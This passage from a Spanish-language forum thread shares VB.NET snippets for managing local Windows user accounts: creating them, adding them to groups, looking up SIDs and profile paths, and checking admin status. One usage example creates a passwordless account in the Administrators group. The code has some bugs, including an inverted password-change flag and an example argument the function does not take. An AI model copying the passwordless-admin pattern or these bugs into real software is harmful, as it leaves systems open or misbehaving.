  472.    ''' Note that the <see cref="Save"></see> method should be called to apply any realized changes in the lines of the textfile
  473.    ''' before disposing this <see cref="TextfileStream"></see> instance.
  474.    ''' </summary>
  475.    ''' ----------------------------------------------------------------------------------------------------
  476.    ''' <param name="encoding">
  477.    ''' The file encoding used to write the textfile.
  478.    ''' </param>
  479.    ''' ----------------------------------------------------------------------------------------------------
  480.    <DebuggerStepThrough>
  481.    Public Sub Save(Optional ByVal encoding As Encoding = Nothing)
  482.  
  483.        If encoding Is Nothing Then
  484.            encoding = Me.encodingB
  485.        End If
  486.  
  487.        Dim bytes As Byte() = encoding.GetBytes(Me.ToString)
  488.  
  489.        Me.fs.SetLength(bytes.Length)
  490.        Me.fs.Write(bytes, 0, bytes.Length)
  491.  
  492.    End Sub
  493.  
  494.    ''' ----------------------------------------------------------------------------------------------------
  495.    ''' <summary>
  496.    ''' Save the lines of the current textfile, in the target textfile.
  497.    ''' </summary>
  498.    ''' ----------------------------------------------------------------------------------------------------
  499.    ''' <param name="filepath">
  500.    ''' The target filepath where to save the text.
  501.    ''' </param>
  502.    '''
  503.    ''' <param name="encoding">
  504.    ''' The file encoding used to write the textfile.
  505.    ''' </param>
  506.    ''' ----------------------------------------------------------------------------------------------------
  507.    <DebuggerStepThrough>
  508.    Public Sub Save(ByVal filepath As String,
  509.                    Optional ByVal encoding As Encoding = Nothing)
  510.  
  511.        If encoding Is Nothing Then
  512.            encoding = Me.encodingB
  513.        End If
  514.  
  515.        Using fs As New FileStream(filepath, FileMode.OpenOrCreate)
  516.  
  517.            Dim bytes As Byte() = encoding.GetBytes(Me.ToString)
  518.  
  519.            fs.SetLength(bytes.Length)
  520.            fs.Write(bytes, 0, bytes.Length)
  521.  
  522.        End Using
  523.  
  524.    End Sub
  525.  
  526.    ''' ----------------------------------------------------------------------------------------------------
  527.    ''' <summary>
  528.    ''' Returns a <see cref="String"/> that represents this instance.
  529.    ''' </summary>
  530.    ''' ----------------------------------------------------------------------------------------------------
  531.    ''' <returns>
  532.    ''' A <see cref="String"/> that represents this instance.
  533.    ''' </returns>
  534.    ''' ----------------------------------------------------------------------------------------------------
  535.    <DebuggerStepThrough>
  536.    Public Overrides Function ToString() As String
  537.  
  538.        Return String.Join(ControlChars.NewLine, Me.linesB)
  539.  
  540.    End Function
  541.  
  542. #End Region
  543.  
  544. #Region " Private Methods "
  545.  
  546.    ''' ----------------------------------------------------------------------------------------------------
  547.    ''' <summary>
  548.    ''' Determines the <see cref="Encoding"/> of the current textfile.
  549.    ''' </summary>
  550.    ''' ----------------------------------------------------------------------------------------------------
  551.    ''' <returns>
  552.    ''' If the encoding can be detected, the return value is the detected <see cref="Encoding"/>,
  553.    ''' if the encoding can't be detected, the return value is <see cref="Encoding.Default"/>.
  554.    ''' </returns>
  555.    ''' ----------------------------------------------------------------------------------------------------
  556.    <DebuggerStepThrough>
  557.    Private Function GetEncoding() As Encoding
  558.  
  559.        Dim encoding As Encoding = Nothing
  560.        Dim bytes As Byte() = File.ReadAllBytes(Me.filepathB)
  561.  
  562.        For Each encodingInfo As EncodingInfo In encoding.GetEncodings()
  563.  
  564.            Dim currentEncoding As Encoding = encodingInfo.GetEncoding()
  565.            Dim preamble As Byte() = currentEncoding.GetPreamble()
  566.            Dim match As Boolean = True
  567.  
  568.            If (preamble.Length > 0) AndAlso (preamble.Length <= bytes.Length) Then
  569.  
  570.                For i As Integer = 0 To (preamble.Length - 1)
  571.  
  572.                    If preamble(i) <> bytes(i) Then
  573.                        match = False
  574.                        Exit For
  575.                    End If
  576.  
  577.                Next i
  578.  
  579.            Else
  580.                match = False
  581.  
  582.            End If
  583.  
  584.            If match Then
  585.                encoding = currentEncoding
  586.                Exit For
  587.            End If
  588.  
  589.        Next encodingInfo
  590.  
  591.        If encoding Is Nothing Then
  592.            Return encoding.Default
  593.  
  594.        Else
  595.            Return encoding
  596.  
  597.        End If
  598.  
  599.    End Function
  600.  
  601. #End Region
  602.  
  603. #Region " IDisposable "
  604.  
  605.    ''' ----------------------------------------------------------------------------------------------------
  606.    ''' <summary>
  607.    ''' To detect redundant calls when disposing.
  608.    ''' </summary>
  609.    ''' ----------------------------------------------------------------------------------------------------
  610.    Private isDisposed As Boolean = False
  611.  
  612.    ''' ----------------------------------------------------------------------------------------------------
  613.    ''' <summary>
  614.    ''' Prevent calls to methods after disposing.
  615.    ''' </summary>
  616.    ''' ----------------------------------------------------------------------------------------------------
  617.    ''' <exception cref="System.ObjectDisposedException"></exception>
  618.    ''' ----------------------------------------------------------------------------------------------------
  619.    Private Sub DisposedCheck()
  620.  
  621.        If Me.isDisposed Then
  622.            Throw New ObjectDisposedException(Me.GetType.FullName)
  623.        End If
  624.  
  625.    End Sub
  626.  
  627.    ''' ----------------------------------------------------------------------------------------------------
  628.    ''' <summary>
  629.    ''' Releases all the resources used by this <see cref="TextfileStream"></see> instance.
  630.    ''' </summary>
  631.    ''' ----------------------------------------------------------------------------------------------------
  632.    Public Sub Dispose() Implements IDisposable.Dispose
  633.        Me.Dispose(isDisposing:=True)
  634.        GC.SuppressFinalize(obj:=Me)
  635.    End Sub
  636.  
  637.    ''' ----------------------------------------------------------------------------------------------------
  638.    ''' <summary>
  639.    ''' Releases unmanaged and - optionally - managed resources.
  640.    ''' </summary>
  641.    ''' ----------------------------------------------------------------------------------------------------
  642.    ''' <param name="isDisposing">
  643.    ''' <c>True</c> to release both managed and unmanaged resources;
  644.    ''' <c>False</c> to release only unmanaged resources.
  645.    ''' </param>
  646.    ''' ----------------------------------------------------------------------------------------------------
  647.    Protected Sub Dispose(ByVal isDisposing As Boolean)
  648.  
  649.        If Not Me.isDisposed Then
  650.  
  651.            If isDisposing Then
  652.  
  653.                If Me.fsB IsNot Nothing Then
  654.                    Me.fsB.Close()
  655.                    Me.linesB.Clear()
  656.                End If
  657.  
  658.            End If
  659.  
  660.        End If
  661.  
  662.        Me.isDisposed = True
  663.  
  664.    End Sub
  665.  
  666. #End Region
  667.  
  668. End Class
  669.  
  670. #End Region


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Junio 2015, 12:34 pm
Un pequeño código para crear nuevas cuentas de usuario en el equipo.

Ejemplo de uso:
Código
  1.        CreateUserAccount(username:="Elektro",
  2.                          password:="",
  3.                          displayName:="Elektro account.",
  4.                          description:="This is a test user-account.",
  5.                          canChangePwd:=True,
  6.                          pwdExpires:=False,
  7.                          groupSid:=WellKnownSidType.BuiltinAdministratorsSid)

Código fuente:
Código
  1.    ''' ----------------------------------------------------------------------------------------------------
  2.    ''' <remarks>
  3.    ''' Title : Create user-account.
  4.    ''' Author: Elektro
  5.    ''' Date  : 19-June-2015
  6.    ''' </remarks>
  7.    ''' ----------------------------------------------------------------------------------------------------
  8.    ''' <example>
  9.    ''' CreateUserAccount(username:="Elektro",
  10.    '''                   password:="",
  11.    '''                   displayName:="Elektro Account.",
  12.    '''                   description:="This is a test user-account.",
  13.    '''                   canChangePwd:=True,
  14.    '''                   pwdExpires:=False,
  15.    '''                   groupSid:=WellKnownSidType.BuiltinAdministratorsSid)
  16.    ''' </example>
  17.    ''' ----------------------------------------------------------------------------------------------------
  18.    ''' <summary>
  19.    ''' Creates a new user account in the current machine.
  20.    ''' This function does not adds the user to the machine.
  21.    ''' </summary>
  22.    ''' ----------------------------------------------------------------------------------------------------
  23.    ''' <param name="username">
  24.    ''' The user name.
  25.    ''' </param>
  26.    '''
  27.    ''' <param name="password">
  28.    ''' The user password.
  29.    ''' If this value is empty, account is set to don't require a password.
  30.    ''' </param>
  31.    '''
  32.    ''' <param name="displayName">
  33.    ''' The display name of the user account.
  34.    ''' </param>
  35.    '''
  36.    ''' <param name="description">
  37.    ''' The description of the user account.
  38.    ''' </param>
  39.    '''
  40.    ''' <param name="canChangePwd">
  41.    ''' A value that indicates whether the user can change its password.
  42.    ''' </param>
  43.    '''
  44.    ''' <param name="pwdExpires">
  45.    ''' A value that indicates whether the password should expire.
  46.    ''' </param>
  47.    ''' ----------------------------------------------------------------------------------------------------
  48.    ''' <returns>
  49.    ''' An <see cref="UserPrincipal"/> object that contains the user data.
  50.    ''' </returns>
  51.    ''' ----------------------------------------------------------------------------------------------------
  52.    <DebuggerStepThrough>
  53.    Public Shared Function CreateUserAccount(ByVal username As String,
  54.                                             ByVal password As String,
  55.                                             ByVal displayName As String,
  56.                                             ByVal description As String,
  57.                                             ByVal canChangePwd As Boolean,
  58.                                             ByVal pwdExpires As Boolean) As UserPrincipal
  59.  
  60.        Using context As New PrincipalContext(ContextType.Machine)
  61.  
  62.            Dim user As New UserPrincipal(context)
  63.  
  64.            With user
  65.  
  66.                .Name = username
  67.  
  68.                .SetPassword(password)
  69.                .PasswordNotRequired = String.IsNullOrEmpty(password)
  70.  
  71.                .DisplayName = displayName
  72.                .Description = description
  73.  
  74.                .UserCannotChangePassword = canChangePwd
  75.                .PasswordNeverExpires = pwdExpires
  76.  
  77.                .Enabled = True
  78.                .Save()
  79.  
  80.            End With
  81.  
  82.            Return user
  83.  
  84.        End Using
  85.  
  86.    End Function
  87.  
  88.    ''' ----------------------------------------------------------------------------------------------------
  89.    ''' <remarks>
  90.    ''' Title : Add user-account.
  91.    ''' Author: Elektro
  92.    ''' Date  : 19-June-2015
  93.    ''' </remarks>
  94.    ''' ----------------------------------------------------------------------------------------------------
  95.    ''' <example>
  96.    ''' AddUserAccount(username:="Elektro",
  97.    '''                password:="",
  98.    '''                displayName:="Elektro Account.",
  99.    '''                description:="This is a test user-account.",
  100.    '''                canChangePwd:=True,
  101.    '''                pwdExpires:=False,
  102.    '''                groupSid:=WellKnownSidType.BuiltinAdministratorsSid)
  103.    ''' </example>
  104.    ''' ----------------------------------------------------------------------------------------------------
  105.    ''' <summary>
  106.    ''' Adds a new user account in the current machine.
  107.    ''' </summary>
  108.    ''' ----------------------------------------------------------------------------------------------------
  109.    ''' <param name="username">
  110.    ''' The user name.
  111.    ''' </param>
  112.    '''
  113.    ''' <param name="password">
  114.    ''' The user password.
  115.    ''' If this value is empty, account is set to don't require a password.
  116.    ''' </param>
  117.    '''
  118.    ''' <param name="displayName">
  119.    ''' The display name of the user account.
  120.    ''' </param>
  121.    '''
  122.    ''' <param name="description">
  123.    ''' The description of the user account.
  124.    ''' </param>
  125.    '''
  126.    ''' <param name="canChangePwd">
  127.    ''' A value that indicates whether the user can change its password.
  128.    ''' </param>
  129.    '''
  130.    ''' <param name="pwdExpires">
  131.    ''' A value that indicates whether the password should expire.
  132.    ''' </param>
  133.    '''
  134.    ''' <param name="groupSid">
  135.    ''' A <see cref="WellKnownSidType"/> security identifier (SID) that determines the account group where to add the user.
  136.    ''' </param>
  137.    ''' ----------------------------------------------------------------------------------------------------
  138.    <DebuggerStepThrough>
  139.    Public Shared Sub AddUserAccount(ByVal username As String,
  140.                                     ByVal password As String,
  141.                                     ByVal displayName As String,
  142.                                     ByVal description As String,
  143.                                     ByVal canChangePwd As Boolean,
  144.                                     ByVal pwdExpires As Boolean,
  145.                                     Optional ByVal groupSid As WellKnownSidType = WellKnownSidType.BuiltinUsersSid)
  146.  
  147.        Using context As New PrincipalContext(ContextType.Machine)
  148.  
  149.            Using user As UserPrincipal = CreateUserAccount(username, password, displayName, description, canChangePwd, pwdExpires)
  150.  
  151.                Using group As GroupPrincipal = GroupPrincipal.FindByIdentity(context, IdentityType.Sid, New SecurityIdentifier(groupSid, Nothing).Value)
  152.  
  153.                    group.Members.Add(user)
  154.                    group.Save()
  155.  
  156.                End Using ' group
  157.  
  158.            End Using ' user
  159.  
  160.        End Using ' context
  161.  
  162.    End Sub
  163.  
  164.    ''' ----------------------------------------------------------------------------------------------------
  165.    ''' <remarks>
  166.    ''' Title : Add user-account.
  167.    ''' Author: Elektro
  168.    ''' Date  : 19-June-2015
  169.    ''' </remarks>
  170.    ''' ----------------------------------------------------------------------------------------------------
  171.    ''' <example>
  172.    ''' AddUserAccount(user:=myUserPrincipal, groupSid:=WellKnownSidType.BuiltinAdministratorsSid)
  173.    ''' </example>
  174.    ''' ----------------------------------------------------------------------------------------------------
  175.    ''' <summary>
  176.    ''' Adds a new user account in the current machine.
  177.    ''' </summary>
  178.    ''' ----------------------------------------------------------------------------------------------------
  179.    ''' <param name="user">
  180.    ''' An <see cref="UserPrincipal"/> object that contains the user data.
  181.    ''' </param>
  182.    '''
  183.    ''' <param name="groupSid">
  184.    ''' A <see cref="WellKnownSidType"/> security identifier (SID) that determines the account group where to add the user.
  185.    ''' </param>
  186.    ''' ----------------------------------------------------------------------------------------------------
  187.    <DebuggerStepThrough>
  188.    Public Shared Sub AddUserAccount(ByVal user As UserPrincipal,
  189.                                     Optional ByVal groupSid As WellKnownSidType = WellKnownSidType.BuiltinUsersSid)
  190.  
  191.        Using context As New PrincipalContext(ContextType.Machine)
  192.  
  193.            Using group As GroupPrincipal = GroupPrincipal.FindByIdentity(context, IdentityType.Sid, New SecurityIdentifier(groupSid, Nothing).Value)
  194.  
  195.                group.Members.Add(user)
  196.                group.Save()
  197.  
  198.            End Using ' group
  199.  
  200.        End Using ' context
  201.  
  202.    End Sub


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 20 Junio 2015, 19:50 pm
UserAccountUtil.vb, una class para realizar tareas comunes relacioandas con las cuentas de usuario (LOCALES) de Windows.

Diagrama de Class:
(http://i.imgur.com/BXANdCN.png)

Código fuente:
Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 20-June-2015
  4. ' ***********************************************************************
  5. ' <copyright file="UserAccountUtil.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Public Members Summary "
  11.  
  12. #Region " Properties "
  13.  
  14. ' UserAccountUtil.CurrentUser As UserPrincipal
  15. ' UserAccountUtil.CurrentUserIsAdmin As Boolean
  16.  
  17. #End Region
  18.  
  19. #Region " Functions "
  20.  
  21. ' UserAccountUtil.Create(String, String, String, String, Boolean, Boolean) As UserPrincipal
  22. ' UserAccountUtil.FindProfilePath(SecurityIdentifier) As String
  23. ' UserAccountUtil.FindProfilePath(String) As String
  24. ' UserAccountUtil.FindSid(String) As SecurityIdentifier
  25. ' UserAccountUtil.FindUser(SecurityIdentifier) As UserPrincipal
  26. ' UserAccountUtil.FindUser(String) As UserPrincipal
  27. ' UserAccountUtil.FindUsername(SecurityIdentifier) As String
  28. ' UserAccountUtil.GetAllUsers() As List(Of UserPrincipal)
  29. ' UserAccountUtil.IsAdmin(String) As Boolean
  30. ' UserAccountUtil.IsMemberOfGroup(String, String) As Boolean
  31. ' UserAccountUtil.IsMemberOfGroup(String, WellKnownSidType) As Boolean
  32.  
  33. #End Region
  34.  
  35. #Region " Methods "
  36.  
  37. ' UserAccountUtil.Add(String, String, String, String, Boolean, Boolean, WellKnownSidType)
  38. ' UserAccountUtil.Add(UserPrincipal, WellKnownSidType)
  39. ' UserAccountUtil.Delete(String)
  40.  
  41. #End Region
  42.  
  43. #End Region
  44.  
  45. #Region " Option Statements "
  46.  
  47. Option Strict On
  48. Option Explicit On
  49. Option Infer Off
  50.  
  51. #End Region
  52.  
  53. #Region " Imports "
  54.  
  55. Imports System
  56. Imports System.Collections.Generic
  57. Imports System.DirectoryServices.AccountManagement
  58. Imports System.Linq
  59. Imports System.Security.Principal
  60.  
  61. #End Region
  62.  
  63. ''' <summary>
  64. ''' Contains related Windows user-account utilities.
  65. ''' </summary>
  66. Public NotInheritable Class UserAccountUtil
  67.  
  68. #Region " Properties "
  69.  
  70.    ''' ----------------------------------------------------------------------------------------------------
  71.    ''' <summary>
  72.    ''' Gets an <see cref="UserPrincipal"/> object that represents the current user.
  73.    ''' </summary>
  74.    ''' ----------------------------------------------------------------------------------------------------
  75.    ''' <value>
  76.    ''' An <see cref="UserPrincipal"/> object that represents the current user.
  77.    ''' </value>
  78.    ''' ----------------------------------------------------------------------------------------------------
  79.    Public Shared ReadOnly Property CurrentUser As UserPrincipal
  80.        Get
  81.            If UserAccountUtil.currentUserB Is Nothing Then
  82.                UserAccountUtil.currentUserB = UserAccountUtil.FindUser(Environment.UserName)
  83.            End If
  84.            Return UserAccountUtil.currentUserB
  85.        End Get
  86.    End Property
  87.    ''' <summary>
  88.    ''' (Backing Field)
  89.    ''' Gets an <see cref="UserPrincipal"/> object that represents the current user.
  90.    ''' </summary>
  91.    Private Shared currentUserB As UserPrincipal
  92.  
  93.    ''' ----------------------------------------------------------------------------------------------------
  94.    ''' <summary>
  95.    ''' Gets a value that indicates whether the current user has Administrator privileges.
  96.    ''' </summary>
  97.    ''' ----------------------------------------------------------------------------------------------------
  98.    ''' <value>
  99.    ''' A value that indicates whether the current user has Administrator privileges.
  100.    ''' </value>
  101.    ''' ----------------------------------------------------------------------------------------------------
  102.    Public Shared ReadOnly Property CurrentUserIsAdmin As Boolean
  103.        Get
  104.            Using group As GroupPrincipal =
  105.                GroupPrincipal.FindByIdentity(CurrentUser.Context,
  106.                                              IdentityType.Sid,
  107.                                              New SecurityIdentifier(WellKnownSidType.BuiltinAdministratorsSid, Nothing).Value)
  108.  
  109.                Return UserAccountUtil.CurrentUser.IsMemberOf(group)
  110.            End Using
  111.        End Get
  112.    End Property
  113.  
  114. #End Region
  115.  
  116. #Region " Constructors "
  117.  
  118.    ''' <summary>
  119.    ''' Prevents a default instance of the <see cref="UserAccountUtil"/> class from being created.
  120.    ''' </summary>
  121.    Private Sub New()
  122.    End Sub
  123.  
  124. #End Region
  125.  
  126. #Region " Public Methods "
  127.  
  128.    ''' ----------------------------------------------------------------------------------------------------
  129.    ''' <remarks>
  130.    ''' Title : Get all user-accounts.
  131.    ''' Author: Elektro
  132.    ''' Date  : 20-June-2015
  133.    ''' </remarks>
  134.    ''' ----------------------------------------------------------------------------------------------------
  135.    ''' <example>
  136.    ''' Dim users As List(Of UserPrincipal) = UserAccountUtil.GetAllUsers()
  137.    ''' </example>
  138.    ''' ----------------------------------------------------------------------------------------------------
  139.    ''' <summary>
  140.    ''' Find and returns all the user accounts of the current machine context.
  141.    ''' </summary>
  142.    ''' ----------------------------------------------------------------------------------------------------
  143.    ''' <returns>
  144.    ''' A <see cref="List(Of UserPrincipal)"/> collection that contains the users.
  145.    ''' </returns>
  146.    ''' ----------------------------------------------------------------------------------------------------
  147.    <DebuggerStepThrough>
  148.    Public Shared Function GetAllUsers() As List(Of UserPrincipal)
  149.  
  150.        Dim context As New PrincipalContext(ContextType.Machine)
  151.  
  152.        Using user As New UserPrincipal(context)
  153.  
  154.            Using searcher As New PrincipalSearcher(user)
  155.  
  156.                Return searcher.FindAll.Cast(Of UserPrincipal).ToList
  157.  
  158.            End Using ' searcher
  159.  
  160.        End Using ' user
  161.  
  162.    End Function
  163.  
  164.    ''' ----------------------------------------------------------------------------------------------------
  165.    ''' <remarks>
  166.    ''' Title : Find user-account by name.
  167.    ''' Author: Elektro
  168.    ''' Date  : 19-June-2015
  169.    ''' </remarks>
  170.    ''' ----------------------------------------------------------------------------------------------------
  171.    ''' <example>
  172.    ''' Dim user As UserPrincipal = UserAccountUtil.FindUser(username:="Administrator")
  173.    ''' </example>
  174.    ''' ----------------------------------------------------------------------------------------------------
  175.    ''' <summary>
  176.    ''' Finds an user account that matches the specified name in the current machine context.
  177.    ''' </summary>
  178.    ''' ----------------------------------------------------------------------------------------------------
  179.    ''' <param name="username">
  180.    ''' The user name to find.
  181.    ''' </param>
  182.    ''' ----------------------------------------------------------------------------------------------------
  183.    ''' <returns>
  184.    ''' An <see cref="UserPrincipal"/> object that contains the user data.
  185.    ''' </returns>
  186.    ''' ----------------------------------------------------------------------------------------------------
  187.    ''' <exception cref="ArgumentException">
  188.    ''' User not found.;username
  189.    ''' </exception>
  190.    ''' ----------------------------------------------------------------------------------------------------
  191.    <DebuggerStepThrough>
  192.    Public Shared Function FindUser(ByVal username As String) As UserPrincipal
  193.  
  194.        Dim context As New PrincipalContext(ContextType.Machine)
  195.  
  196.        Using user As New UserPrincipal(context)
  197.  
  198.            Using searcher As New PrincipalSearcher(user)
  199.  
  200.                Try
  201.                    Return (From p As Principal In searcher.FindAll
  202.                            Where p.Name.Equals(username, StringComparison.OrdinalIgnoreCase)).
  203.                            Cast(Of UserPrincipal).
  204.                            First
  205.  
  206.                Catch ex As InvalidOperationException
  207.                    Throw New ArgumentException(message:="User not found.", paramName:="username", innerException:=ex)
  208.  
  209.                End Try
  210.  
  211.            End Using ' searcher
  212.  
  213.        End Using ' user
  214.  
  215.    End Function
  216.  
  217.    ''' ----------------------------------------------------------------------------------------------------
  218.    ''' <remarks>
  219.    ''' Title : Find user-account by SID.
  220.    ''' Author: Elektro
  221.    ''' Date  : 19-June-2015
  222.    ''' </remarks>
  223.    ''' ----------------------------------------------------------------------------------------------------
  224.    ''' <example>
  225.    ''' Dim user As UserPrincipal = UserAccountUtil.FindUser(sid:=New SecurityIdentifier("S-1-5-21-1780771175-1208154119-2269826705-500"))
  226.    ''' </example>
  227.    ''' ----------------------------------------------------------------------------------------------------
  228.    ''' <summary>
  229.    ''' Finds an user account that matches the specified security identifier (SID) in the current machine context.
  230.    ''' </summary>
  231.    ''' ----------------------------------------------------------------------------------------------------
  232.    ''' <param name="sid">
  233.    ''' A <see cref="SecurityIdentifier"/> (SID) object.
  234.    ''' </param>
  235.    ''' ----------------------------------------------------------------------------------------------------
  236.    ''' <returns>
  237.    ''' An <see cref="UserPrincipal"/> object that contains the user data.
  238.    ''' </returns>
  239.    ''' ----------------------------------------------------------------------------------------------------
  240.    <DebuggerStepThrough>
  241.    Public Shared Function FindUser(ByVal sid As SecurityIdentifier) As UserPrincipal
  242.  
  243.        Dim context As New PrincipalContext(ContextType.Machine)
  244.  
  245.        Using user As New UserPrincipal(context)
  246.  
  247.            Using searcher As New PrincipalSearcher(user)
  248.  
  249.                Try
  250.                    Return (From p As Principal In searcher.FindAll
  251.                            Where p.Sid.Value.Equals(sid.Value, StringComparison.OrdinalIgnoreCase)).
  252.                            Cast(Of UserPrincipal).
  253.                            First
  254.  
  255.                Catch ex As InvalidOperationException
  256.                    Throw New ArgumentException(message:="User not found.", paramName:="username", innerException:=ex)
  257.  
  258.                End Try
  259.  
  260.            End Using ' searcher
  261.  
  262.        End Using ' user
  263.  
  264.    End Function
  265.  
  266.    ''' ----------------------------------------------------------------------------------------------------
  267.    ''' <remarks>
  268.    ''' Title : Find user-account name by SID.
  269.    ''' Author: Elektro
  270.    ''' Date  : 19-June-2015
  271.    ''' </remarks>
  272.    ''' ----------------------------------------------------------------------------------------------------
  273.    ''' <example>
  274.    ''' Dim username As String = UserAccountUtil.FindUsername(sid:=New SecurityIdentifier("S-1-5-21-1780771175-1208154119-2269826705-500"))
  275.    ''' </example>
  276.    ''' ----------------------------------------------------------------------------------------------------
  277.    ''' <summary>
  278.    ''' Finds the username of the specified security identifier (SID) in the current machine context.
  279.    ''' </summary>
  280.    ''' ----------------------------------------------------------------------------------------------------
  281.    ''' <param name="sid">
  282.    ''' A <see cref="SecurityIdentifier"/> (SID) object.
  283.    ''' </param>
  284.    ''' ----------------------------------------------------------------------------------------------------
  285.    ''' <returns>
  286.    ''' The username.
  287.    ''' </returns>
  288.    ''' ----------------------------------------------------------------------------------------------------
  289.    <DebuggerStepThrough>
  290.    Public Shared Function FindUsername(ByVal sid As SecurityIdentifier) As String
  291.  
  292.        Using user As UserPrincipal = UserAccountUtil.FindUser(sid)
  293.  
  294.            Return user.Name
  295.  
  296.        End Using
  297.  
  298.    End Function
  299.  
  300.    ''' ----------------------------------------------------------------------------------------------------
  301.    ''' <remarks>
  302.    ''' Title : Find user-account SID by username.
  303.    ''' Author: Elektro
  304.    ''' Date  : 19-June-2015
  305.    ''' </remarks>
  306.    ''' ----------------------------------------------------------------------------------------------------
  307.    ''' <example>
  308.    ''' Dim sid As SecurityIdentifier = UserAccountUtil.FindSid(username:="Administrator"))
  309.    ''' </example>
  310.    ''' ----------------------------------------------------------------------------------------------------
  311.    ''' <summary>
  312.    ''' Finds the security identifier (SID) of the specified username account in the current machine context.
  313.    ''' </summary>
  314.    ''' ----------------------------------------------------------------------------------------------------
  315.    ''' <param name="username">
  316.    ''' The user name.
  317.    ''' </param>
  318.    ''' ----------------------------------------------------------------------------------------------------
  319.    ''' <returns>
  320.    ''' A <see cref="SecurityIdentifier"/> (SID) object.
  321.    ''' </returns>
  322.    ''' ----------------------------------------------------------------------------------------------------
  323.    <DebuggerStepThrough>
  324.    Public Shared Function FindSid(ByVal username As String) As SecurityIdentifier
  325.  
  326.        Return UserAccountUtil.FindUser(username).Sid
  327.  
  328.    End Function
  329.  
  330.    ''' ----------------------------------------------------------------------------------------------------
  331.    ''' <remarks>
  332.    ''' Title : Find user-account's profile path by username.
  333.    ''' Author: Elektro
  334.    ''' Date  : 19-June-2015
  335.    ''' </remarks>
  336.    ''' ----------------------------------------------------------------------------------------------------
  337.    ''' <example>
  338.    ''' Dim profilePath As String = UserAccountUtil.FindProfilePath(username:="Administrator"))
  339.    ''' </example>
  340.    ''' ----------------------------------------------------------------------------------------------------
  341.    ''' <summary>
  342.    ''' Finds the profile directory path of the specified username account in the current machine context.
  343.    ''' </summary>
  344.    ''' ----------------------------------------------------------------------------------------------------
  345.    ''' <param name="username">
  346.    ''' The user name to find.
  347.    ''' </param>
  348.    ''' ----------------------------------------------------------------------------------------------------
  349.    ''' <returns>
  350.    ''' The profile directory path.
  351.    ''' </returns>
  352.    ''' ----------------------------------------------------------------------------------------------------
  353.    <DebuggerStepThrough>
  354.    Public Shared Function FindProfilePath(ByVal userName As String) As String
  355.  
  356.        Using user As UserPrincipal = UserAccountUtil.FindUser(userName)
  357.  
  358.            Return CStr(My.Computer.Registry.GetValue(String.Format("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\{0}",
  359.                                                                    user.Sid.Value),
  360.                                                                    "ProfileImagePath", ""))
  361.  
  362.        End Using
  363.  
  364.    End Function
  365.  
  366.    ''' ----------------------------------------------------------------------------------------------------
  367.    ''' <remarks>
  368.    ''' Title : Find user-account's profile path by SID.
  369.    ''' Author: Elektro
  370.    ''' Date  : 19-June-2015
  371.    ''' </remarks>
  372.    ''' ----------------------------------------------------------------------------------------------------
  373.    ''' <example>
  374.    ''' Dim profilePath As String = UserAccountUtil.FindProfilePath(sid:=New SecurityIdentifier("S-1-5-21-1780771175-1208154119-2269826705-500"))
  375.    ''' </example>
  376.    ''' ----------------------------------------------------------------------------------------------------
  377.    ''' <summary>
  378.    ''' Finds the profile directory path of the specified username account in the current machine context.
  379.    ''' </summary>
  380.    ''' ----------------------------------------------------------------------------------------------------
  381.    ''' <param name="sid">
  382.    ''' A <see cref="SecurityIdentifier"/> (SID) object.
  383.    ''' </param>
  384.    ''' ----------------------------------------------------------------------------------------------------
  385.    ''' <returns>
  386.    ''' The profile directory path.
  387.    ''' </returns>
  388.    ''' ----------------------------------------------------------------------------------------------------
  389.    <DebuggerStepThrough>
  390.    Public Shared Function FindProfilePath(ByVal sid As SecurityIdentifier) As String
  391.  
  392.        Using user As UserPrincipal = UserAccountUtil.FindUser(sid)
  393.  
  394.            Return CStr(My.Computer.Registry.GetValue(String.Format("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\{0}",
  395.                                                                    user.Sid.Value),
  396.                                                                    "ProfileImagePath", ""))
  397.  
  398.        End Using
  399.  
  400.    End Function
  401.  
  402.    ''' ----------------------------------------------------------------------------------------------------
  403.    ''' <remarks>
  404.    ''' Title : User is Admin?.
  405.    ''' Author: Elektro
  406.    ''' Date  : 19-June-2015
  407.    ''' </remarks>
  408.    ''' ----------------------------------------------------------------------------------------------------
  409.    ''' <example>
  410.    ''' Dim userIsAdmin As Boolean = UserAccountUtil.IsAdmin(username:="Administrator")
  411.    ''' </example>
  412.    ''' ----------------------------------------------------------------------------------------------------
  413.    ''' <summary>
  414.    ''' Determines whether an user-account of the current machine context is an Administrator.
  415.    ''' </summary>
  416.    ''' ----------------------------------------------------------------------------------------------------
  417.    ''' <param name="username">
  418.    ''' The user name.
  419.    ''' </param>
  420.    ''' ----------------------------------------------------------------------------------------------------
  421.    ''' <returns>
  422.    ''' <c>True</c> if the user is an Administrator, otherwise, <c>False</c>.
  423.    ''' </returns>
  424.    ''' ----------------------------------------------------------------------------------------------------
  425.    <DebuggerStepThrough>
  426.    Public Shared Function IsAdmin(ByVal username As String) As Boolean
  427.  
  428.        Using user As UserPrincipal = UserAccountUtil.FindUser(username)
  429.  
  430.            Using group As GroupPrincipal = GroupPrincipal.FindByIdentity(user.Context, IdentityType.Sid, New SecurityIdentifier(WellKnownSidType.BuiltinAdministratorsSid, Nothing).Value)
  431.  
  432.                Return user.IsMemberOf(group)
  433.  
  434.            End Using ' group
  435.  
  436.        End Using ' user
  437.  
  438.    End Function
  439.  
  440.    ''' ----------------------------------------------------------------------------------------------------
  441.    ''' <remarks>
  442.    ''' Title : User is member of group...?.
  443.    ''' Author: Elektro
  444.    ''' Date  : 19-June-2015
  445.    ''' </remarks>
  446.    ''' ----------------------------------------------------------------------------------------------------
  447.    ''' <example>
  448.    ''' Dim userIsGuest As Boolean = UserAccountUtil.IsMemberOfGroup(username:="Administrator", groupSid:=WellKnownSidType.BuiltinGuestsSid)
  449.    ''' </example>
  450.    ''' ----------------------------------------------------------------------------------------------------
  451.    ''' <summary>
  452.    ''' Determines whether an user-account of the current machine context is a member of the specified group.
  453.    ''' </summary>
  454.    ''' ----------------------------------------------------------------------------------------------------
  455.    ''' <param name="username">
  456.    ''' The user name.
  457.    ''' </param>
  458.    '''
  459.    ''' <param name="groupSid">
